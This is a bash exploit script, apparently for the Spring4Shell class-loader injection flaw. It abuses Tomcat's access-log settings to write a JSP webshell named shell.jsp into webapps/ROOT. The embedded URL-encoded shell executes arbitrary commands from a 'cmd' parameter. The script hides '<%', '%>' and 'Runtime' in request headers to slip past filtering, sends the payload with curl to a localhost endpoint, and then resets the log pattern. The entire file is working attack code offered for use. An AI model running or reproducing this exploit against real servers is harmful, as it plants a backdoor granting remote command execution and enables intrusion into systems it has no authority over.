#!/bin/bash # URL-encoded content of JSP containing simple webshell JSP_CONTENT='%25%7Bprefix%7Di%40%20page%20import%3D%22java.util.%2A%2Cjava.io.%2A%22%25%7Bsuffix%7Di%0A%3CHTML%3E%3CBODY%3E%0A%3CFORM%20METHOD%3D%22GET%22%20NAME%3D%22myform%22%20ACTION%3D%22%22%3E%0A%3CINPUT%20TYPE%3D%22text%22%20NAME%3D%22cmd%22%3E%0A%3CINPUT%20TYPE%3D%22submit%22%20VALUE%3D%22Send%22%3E%0A%3C%2FFORM%3E%0A%3Cpre%3E%0A%25%7Bprefix%7Di%0Aif%20%28request.getParameter%28%22cmd%22%29%20%21%3D%20null%29%20%7B%0A%20%20%20%20%20%20%20%20out.println%28%22Command%3A%20%22%20%2B%20request.getParameter%28%22cmd%22%29%20%2B%20%22%3CBR%3E%22%29%3B%0A%20%20%20%20%20%20%20%20Process%20p%20%3D%25%7Bc%7Di.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0A%20%20%20%20%20%20%20%20OutputStream%20os%20%3D%20p.getOutputStream%28%29%3B%0A%20%20%20%20%20%20%20%20InputStream%20in%20%3D%20p.getInputStream%28%29%3B%0A%20%20%20%20%20%20%20%20DataInputStream%20dis%20%3D%20new%20DataInputStream%28in%29%3B%0A%20%20%20%20%20%20%20%20String%20disr%20%3D%20dis.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20while%20%28%20disr%20%21%3D%20null%20%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20out.println%28disr%29%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20disr%20%3D%20dis.readLine%28%29%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%25%7Bsuffix%7Di%0A%3C%2Fpre%3E%0A%3C%2FBODY%3E%3C%2FHTML%3E' # Setting pattern variable during deserialization to JSP_CONTENT variable, so it will be logged to specified log file CREATE_JSP="class.module.classLoader.resources.context.parent.pipeline.first.pattern=${JSP_CONTENT}" # Setting log file name (shell.jsp) SET_LOG_FILE_PREFIX="&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell" SET_LOG_FILE_SUFFIX="&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp" # Setting log file directory (webapps/ROOT to make it available on root context path) SET_LOG_FILE_DIR="&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT" # Disable adding date to name of log file SET_FILE_DATE_FORMAT="&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" PAYLOAD="${CREATE_JSP}${SET_LOG_FILE_PREFIX}${SET_LOG_FILE_SUFFIX}${SET_LOG_FILE_DIR}${SET_FILE_DATE_FORMAT}" # Hide some values in headers to prevent content from being filtered out PREFIX_HEADER="prefix: <%" SUFFIX_HEADER="suffix: %>" RUNTIME_HEADER="c: Runtime" URL="http://localhost:8080" echo "Sending payload..." curl -v -H "$PREFIX_HEADER" -H "$SUFFIX_HEADER" -H "$RUNTIME_HEADER" -d $PAYLOAD $URL/pbiot/message >/dev/null 2>&1 echo -e "Sleeping for 5 seconds to wait for changes..." sleep 5 echo -e "Clearing pattern..." CLEAR_DATA="class.module.classLoader.resources.context.parent.pipeline.first.pattern=" curl -v -d $CLEAR_DATA $URL/pbiot/message >/dev/null 2>&1 echo -e "Done"